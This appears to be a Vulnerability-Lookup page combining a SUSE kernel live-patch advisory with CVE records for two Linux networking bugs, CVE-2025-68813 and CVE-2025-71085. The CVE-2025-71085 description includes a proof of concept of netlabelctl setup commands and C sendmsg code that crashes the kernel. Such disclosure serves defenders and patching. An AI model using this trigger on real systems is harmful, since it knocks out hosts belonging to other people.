Vulnerability-Lookup

SUSE-SU-2026:20943-1

Vulnerability from csaf_suse - Published: 2026-03-25 05:44 - Updated: 2026-03-25 05:44

Summary

Security update for the Linux Kernel (Live Patch 4 for SUSE Linux Enterprise 16)

Severity

Important

Notes

Title of the patch: Security update for the Linux Kernel (Live Patch 4 for SUSE Linux Enterprise 16)

Description of the patch: This update for the SUSE Linux Enterprise Kernel 6.12.0-160000.9.1 fixes various security issues The following security issues were fixed: - CVE-2025-68813: ipvs: fix ipv4 null-ptr-deref in route error path (bsc#1256644). - CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() (bsc#1256624).

Patchnames: SUSE-SLES-16.0-440

CVE-2025-68813

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vendor Fix To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

CVE-2025-71085

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vendor Fix To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

References

URL

Category

	https://www.suse.com/support/security/rating/	external
	https://ftp.suse.com/pub/projects/security/csaf/s…	self
	https://www.suse.com/support/update/announcement/…	self
	https://lists.suse.com/pipermail/sle-updates/2026…	self
	https://bugzilla.suse.com/1256624	self
	https://bugzilla.suse.com/1256644	self
	https://www.suse.com/security/cve/CVE-2025-68813/	self
	https://www.suse.com/security/cve/CVE-2025-71085/	self
	https://www.suse.com/security/cve/CVE-2025-68813	external
	https://bugzilla.suse.com/1256641	external
	https://bugzilla.suse.com/1256644	external
	https://www.suse.com/security/cve/CVE-2025-71085	external
	https://bugzilla.suse.com/1256623	external
	https://bugzilla.suse.com/1256624	external

JSON

To clipboard

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      "ids": [
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          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-68813"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: fix ipv4 null-ptr-deref in route error path\n\nThe IPv4 code path in __ip_vs_get_out_rt() calls dst_link_failure()\nwithout ensuring skb-\u003edev is set, leading to a NULL pointer dereference\nin fib_compute_spec_dst() when ipv4_link_failure() attempts to send\nICMP destination unreachable messages.\n\nThe issue emerged after commit ed0de45a1008 (\"ipv4: recompile ip options\nin ipv4_link_failure\") started calling __ip_options_compile() from\nipv4_link_failure(). This code path eventually calls fib_compute_spec_dst()\nwhich dereferences skb-\u003edev. An attempt was made to fix the NULL skb-\u003edev\ndereference in commit 0113d9c9d1cc (\"ipv4: fix null-deref in\nipv4_link_failure\"), but it only addressed the immediate dev_net(skb-\u003edev)\ndereference by using a fallback device. The fix was incomplete because\nfib_compute_spec_dst() later in the call chain still accesses skb-\u003edev\ndirectly, which remains NULL when IPVS calls dst_link_failure().\n\nThe crash occurs when:\n1. IPVS processes a packet in NAT mode with a misconfigured destination\n2. Route lookup fails in __ip_vs_get_out_rt() before establishing a route\n3. The error path calls dst_link_failure(skb) with skb-\u003edev == NULL\n4. ipv4_link_failure() -\u003e ipv4_send_dest_unreach() -\u003e\n   __ip_options_compile() -\u003e fib_compute_spec_dst()\n5. fib_compute_spec_dst() dereferences NULL skb-\u003edev\n\nApply the same fix used for IPv6 in commit 326bf17ea5d4 (\"ipvs: fix\nipv6 route unreach panic\"): set skb-\u003edev from skb_dst(skb)-\u003edev before\ncalling dst_link_failure().\n\nKASAN: null-ptr-deref in range [0x0000000000000328-0x000000000000032f]\nCPU: 1 PID: 12732 Comm: syz.1.3469 Not tainted 6.6.114 #2\nRIP: 0010:__in_dev_get_rcu include/linux/inetdevice.h:233\nRIP: 0010:fib_compute_spec_dst+0x17a/0x9f0 net/ipv4/fib_frontend.c:285\nCall Trace:\n  \u003cTASK\u003e\n  spec_dst_fill net/ipv4/ip_options.c:232\n  spec_dst_fill net/ipv4/ip_options.c:229\n  __ip_options_compile+0x13a1/0x17d0 net/ipv4/ip_options.c:330\n  ipv4_send_dest_unreach net/ipv4/route.c:1252\n  ipv4_link_failure+0x702/0xb80 net/ipv4/route.c:1265\n  dst_link_failure include/net/dst.h:437\n  __ip_vs_get_out_rt+0x15fd/0x19e0 net/netfilter/ipvs/ip_vs_xmit.c:412\n  ip_vs_nat_xmit+0x1d8/0xc80 net/netfilter/ipvs/ip_vs_xmit.c:764",
          "title": "CVE description"
        }
      ],
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          "summary": "SUSE Bug 1256641 for CVE-2025-68813",
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      "remediations": [
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          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
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      "scores": [
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            "SUSE Linux Enterprise Server for SAP applications 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.x86_64"
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        {
          "category": "impact",
          "date": "2026-03-25T05:44:30Z",
          "details": "important"
        }
      ],
      "title": "CVE-2025-68813"
    },
    {
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      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-71085"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);",
          "title": "CVE description"
        }
      ],
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        },
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          "category": "external",
          "summary": "SUSE Bug 1256623 for CVE-2025-71085",
          "url": "https://bugzilla.suse.com/1256623"
        },
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          "category": "external",
          "summary": "SUSE Bug 1256624 for CVE-2025-71085",
          "url": "https://bugzilla.suse.com/1256624"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "SUSE Linux Enterprise Server 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.ppc64le",
            "SUSE Linux Enterprise Server 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.s390x",
            "SUSE Linux Enterprise Server 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.x86_64",
            "SUSE Linux Enterprise Server for SAP applications 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.ppc64le",
            "SUSE Linux Enterprise Server for SAP applications 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.s390x",
            "SUSE Linux Enterprise Server for SAP applications 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "SUSE Linux Enterprise Server 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.ppc64le",
            "SUSE Linux Enterprise Server 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.s390x",
            "SUSE Linux Enterprise Server 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.x86_64",
            "SUSE Linux Enterprise Server for SAP applications 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.ppc64le",
            "SUSE Linux Enterprise Server for SAP applications 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.s390x",
            "SUSE Linux Enterprise Server for SAP applications 16.0:kernel-livepatch-6_12_0-160000_9-default-2-160000.1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-03-25T05:44:30Z",
          "details": "important"
        }
      ],
      "title": "CVE-2025-71085"
    }
  ]
}

CVE-2025-68813 (GCVE-0-2025-68813)

Vulnerability from cvelistv5 – Published: 2026-01-13 15:29 – Updated: 2026-02-09 08:34

Title

ipvs: fix ipv4 null-ptr-deref in route error path

Summary

In the Linux kernel, the following vulnerability has been resolved: ipvs: fix ipv4 null-ptr-deref in route error path The IPv4 code path in __ip_vs_get_out_rt() calls dst_link_failure() without ensuring skb->dev is set, leading to a NULL pointer dereference in fib_compute_spec_dst() when ipv4_link_failure() attempts to send ICMP destination unreachable messages. The issue emerged after commit ed0de45a1008 ("ipv4: recompile ip options in ipv4_link_failure") started calling __ip_options_compile() from ipv4_link_failure(). This code path eventually calls fib_compute_spec_dst() which dereferences skb->dev. An attempt was made to fix the NULL skb->dev dereference in commit 0113d9c9d1cc ("ipv4: fix null-deref in ipv4_link_failure"), but it only addressed the immediate dev_net(skb->dev) dereference by using a fallback device. The fix was incomplete because fib_compute_spec_dst() later in the call chain still accesses skb->dev directly, which remains NULL when IPVS calls dst_link_failure(). The crash occurs when: 1. IPVS processes a packet in NAT mode with a misconfigured destination 2. Route lookup fails in __ip_vs_get_out_rt() before establishing a route 3. The error path calls dst_link_failure(skb) with skb->dev == NULL 4. ipv4_link_failure() → ipv4_send_dest_unreach() → __ip_options_compile() → fib_compute_spec_dst() 5. fib_compute_spec_dst() dereferences NULL skb->dev Apply the same fix used for IPv6 in commit 326bf17ea5d4 ("ipvs: fix ipv6 route unreach panic"): set skb->dev from skb_dst(skb)->dev before calling dst_link_failure(). KASAN: null-ptr-deref in range [0x0000000000000328-0x000000000000032f] CPU: 1 PID: 12732 Comm: syz.1.3469 Not tainted 6.6.114 #2 RIP: 0010:__in_dev_get_rcu include/linux/inetdevice.h:233 RIP: 0010:fib_compute_spec_dst+0x17a/0x9f0 net/ipv4/fib_frontend.c:285 Call Trace: <TASK> spec_dst_fill net/ipv4/ip_options.c:232 spec_dst_fill net/ipv4/ip_options.c:229 __ip_options_compile+0x13a1/0x17d0 net/ipv4/ip_options.c:330 ipv4_send_dest_unreach net/ipv4/route.c:1252 ipv4_link_failure+0x702/0xb80 net/ipv4/route.c:1265 dst_link_failure include/net/dst.h:437 __ip_vs_get_out_rt+0x15fd/0x19e0 net/netfilter/ipvs/ip_vs_xmit.c:412 ip_vs_nat_xmit+0x1d8/0xc80 net/netfilter/ipvs/ip_vs_xmit.c:764

Severity ?

No CVSS data available.

Assigner

Linux

References

URL

Tags

	https://git.kernel.org/stable/c/dd72a93c80408f063…
	https://git.kernel.org/stable/c/312d7cd88882fc6ca…
	https://git.kernel.org/stable/c/cdeff10851c37a002…
	https://git.kernel.org/stable/c/4729ff0581fbb7ad0…
	https://git.kernel.org/stable/c/25ab24df31f7af843…
	https://git.kernel.org/stable/c/689a627d14788ad77…
	https://git.kernel.org/stable/c/ad891bb3d079a46a8…

Impacted products

Vendor

Product

Version

Linux

Affected: ed0de45a1008991fdaa27a0152befcb74d126a8b , < dd72a93c80408f06327dd2d956eb1a656d0b5903 (git)
Affected: ed0de45a1008991fdaa27a0152befcb74d126a8b , < 312d7cd88882fc6cadcc08b02287497aaaf94bcd (git)
Affected: ed0de45a1008991fdaa27a0152befcb74d126a8b , < cdeff10851c37a002d87a035818ebd60fdb74447 (git)
Affected: ed0de45a1008991fdaa27a0152befcb74d126a8b , < 4729ff0581fbb7ad098b6153b76b6f5aac94618a (git)
Affected: ed0de45a1008991fdaa27a0152befcb74d126a8b , < 25ab24df31f7af843c96a38e0781b9165216e1a8 (git)
Affected: ed0de45a1008991fdaa27a0152befcb74d126a8b , < 689a627d14788ad772e0fa24c2e57a23dbc7ce90 (git)
Affected: ed0de45a1008991fdaa27a0152befcb74d126a8b , < ad891bb3d079a46a821bf2b8867854645191bab0 (git)
Affected: 6c2fa855d8178699706b1192db2f1f8102b0ba1e (git)
Affected: fbf569d2beee2a4a7a0bc8b619c26101d1211a88 (git)
Affected: ff71f99d5fb2daf54340e8b290d0bc4e6b4c1d38 (git)
Affected: 3d988fcddbe7b8673a231958bd2fba61b5a7ced9 (git)
Affected: 8a430e56a6485267a1b2d3747209d26c54d1a34b (git)
Affected: 6bd1ee0a993fc9574ae43c1994c54a60cb23a380 (git)

Linux

Affected: 5.1
Unaffected: 0 , < 5.1 (semver)
Unaffected: 5.10.248 , ≤ 5.10.* (semver)
Unaffected: 5.15.198 , ≤ 5.15.* (semver)
Unaffected: 6.1.160 , ≤ 6.1.* (semver)
Unaffected: 6.6.120 , ≤ 6.6.* (semver)
Unaffected: 6.12.64 , ≤ 6.12.* (semver)
Unaffected: 6.18.3 , ≤ 6.18.* (semver)
Unaffected: 6.19 , ≤ * (original_commit_for_fix)

Show details on NVD website

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To clipboard

{
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              "status": "affected",
              "version": "8a430e56a6485267a1b2d3747209d26c54d1a34b",
              "versionType": "git"
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              "status": "affected",
              "version": "6bd1ee0a993fc9574ae43c1994c54a60cb23a380",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/ipvs/ip_vs_xmit.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.248",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.198",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.160",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.120",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.64",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.19",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
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                  "versionEndExcluding": "5.10.248",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.198",
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                  "vulnerable": true
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                {
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                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
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                {
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                  "versionStartIncluding": "3.18.139",
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      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: fix ipv4 null-ptr-deref in route error path\n\nThe IPv4 code path in __ip_vs_get_out_rt() calls dst_link_failure()\nwithout ensuring skb-\u003edev is set, leading to a NULL pointer dereference\nin fib_compute_spec_dst() when ipv4_link_failure() attempts to send\nICMP destination unreachable messages.\n\nThe issue emerged after commit ed0de45a1008 (\"ipv4: recompile ip options\nin ipv4_link_failure\") started calling __ip_options_compile() from\nipv4_link_failure(). This code path eventually calls fib_compute_spec_dst()\nwhich dereferences skb-\u003edev. An attempt was made to fix the NULL skb-\u003edev\ndereference in commit 0113d9c9d1cc (\"ipv4: fix null-deref in\nipv4_link_failure\"), but it only addressed the immediate dev_net(skb-\u003edev)\ndereference by using a fallback device. The fix was incomplete because\nfib_compute_spec_dst() later in the call chain still accesses skb-\u003edev\ndirectly, which remains NULL when IPVS calls dst_link_failure().\n\nThe crash occurs when:\n1. IPVS processes a packet in NAT mode with a misconfigured destination\n2. Route lookup fails in __ip_vs_get_out_rt() before establishing a route\n3. The error path calls dst_link_failure(skb) with skb-\u003edev == NULL\n4. ipv4_link_failure() \u2192 ipv4_send_dest_unreach() \u2192\n   __ip_options_compile() \u2192 fib_compute_spec_dst()\n5. fib_compute_spec_dst() dereferences NULL skb-\u003edev\n\nApply the same fix used for IPv6 in commit 326bf17ea5d4 (\"ipvs: fix\nipv6 route unreach panic\"): set skb-\u003edev from skb_dst(skb)-\u003edev before\ncalling dst_link_failure().\n\nKASAN: null-ptr-deref in range [0x0000000000000328-0x000000000000032f]\nCPU: 1 PID: 12732 Comm: syz.1.3469 Not tainted 6.6.114 #2\nRIP: 0010:__in_dev_get_rcu include/linux/inetdevice.h:233\nRIP: 0010:fib_compute_spec_dst+0x17a/0x9f0 net/ipv4/fib_frontend.c:285\nCall Trace:\n  \u003cTASK\u003e\n  spec_dst_fill net/ipv4/ip_options.c:232\n  spec_dst_fill net/ipv4/ip_options.c:229\n  __ip_options_compile+0x13a1/0x17d0 net/ipv4/ip_options.c:330\n  ipv4_send_dest_unreach net/ipv4/route.c:1252\n  ipv4_link_failure+0x702/0xb80 net/ipv4/route.c:1265\n  dst_link_failure include/net/dst.h:437\n  __ip_vs_get_out_rt+0x15fd/0x19e0 net/netfilter/ipvs/ip_vs_xmit.c:412\n  ip_vs_nat_xmit+0x1d8/0xc80 net/netfilter/ipvs/ip_vs_xmit.c:764"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-09T08:34:02.933Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/dd72a93c80408f06327dd2d956eb1a656d0b5903"
        },
        {
          "url": "https://git.kernel.org/stable/c/312d7cd88882fc6cadcc08b02287497aaaf94bcd"
        },
        {
          "url": "https://git.kernel.org/stable/c/cdeff10851c37a002d87a035818ebd60fdb74447"
        },
        {
          "url": "https://git.kernel.org/stable/c/4729ff0581fbb7ad098b6153b76b6f5aac94618a"
        },
        {
          "url": "https://git.kernel.org/stable/c/25ab24df31f7af843c96a38e0781b9165216e1a8"
        },
        {
          "url": "https://git.kernel.org/stable/c/689a627d14788ad772e0fa24c2e57a23dbc7ce90"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad891bb3d079a46a821bf2b8867854645191bab0"
        }
      ],
      "title": "ipvs: fix ipv4 null-ptr-deref in route error path",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-68813",
    "datePublished": "2026-01-13T15:29:18.483Z",
    "dateReserved": "2025-12-24T10:30:51.047Z",
    "dateUpdated": "2026-02-09T08:34:02.933Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-71085 (GCVE-0-2025-71085)

Vulnerability from cvelistv5 – Published: 2026-01-13 15:34 – Updated: 2026-02-09 08:34

Title

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

Severity ?

No CVSS data available.

Assigner

Linux

References

URL

Tags

	https://git.kernel.org/stable/c/86f365897068d0941…
	https://git.kernel.org/stable/c/6b7522424529556c9…
	https://git.kernel.org/stable/c/2bb759062efa188ea…
	https://git.kernel.org/stable/c/c53aa6a5086f03f19…
	https://git.kernel.org/stable/c/bf3709738d8a8cc6f…
	https://git.kernel.org/stable/c/73744ad5696dce0e0…
	https://git.kernel.org/stable/c/58fc7342b529803d3…

Impacted products

Vendor

Product

Version

Linux

Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 86f365897068d09418488165a68b23cb5baa37f2 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 6b7522424529556c9cbc15e15e7bd4eeae310910 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 2bb759062efa188ea5d07242a43e5aa5464bbae1 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < c53aa6a5086f03f19564096ee084a202a8c738c0 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < bf3709738d8a8cc6fa275773170c5c29511a0b24 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 73744ad5696dce0e0f43872aba8de6a83d6ad570 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 58fc7342b529803d3c221101102fe913df7adb83 (git)

Linux

Affected: 4.8
Unaffected: 0 , < 4.8 (semver)
Unaffected: 5.10.248 , ≤ 5.10.* (semver)
Unaffected: 5.15.198 , ≤ 5.15.* (semver)
Unaffected: 6.1.160 , ≤ 6.1.* (semver)
Unaffected: 6.6.120 , ≤ 6.6.* (semver)
Unaffected: 6.12.64 , ≤ 6.12.* (semver)
Unaffected: 6.18.4 , ≤ 6.18.* (semver)
Unaffected: 6.19 , ≤ * (original_commit_for_fix)

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{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/calipso.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "86f365897068d09418488165a68b23cb5baa37f2",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "6b7522424529556c9cbc15e15e7bd4eeae310910",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "2bb759062efa188ea5d07242a43e5aa5464bbae1",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "c53aa6a5086f03f19564096ee084a202a8c738c0",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "bf3709738d8a8cc6fa275773170c5c29511a0b24",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "73744ad5696dce0e0f43872aba8de6a83d6ad570",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "58fc7342b529803d3c221101102fe913df7adb83",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/calipso.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.8"
            },
            {
              "lessThan": "4.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.248",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.198",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.160",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.120",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.64",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.19",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.248",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.198",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.160",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.120",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.64",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.4",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.19",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
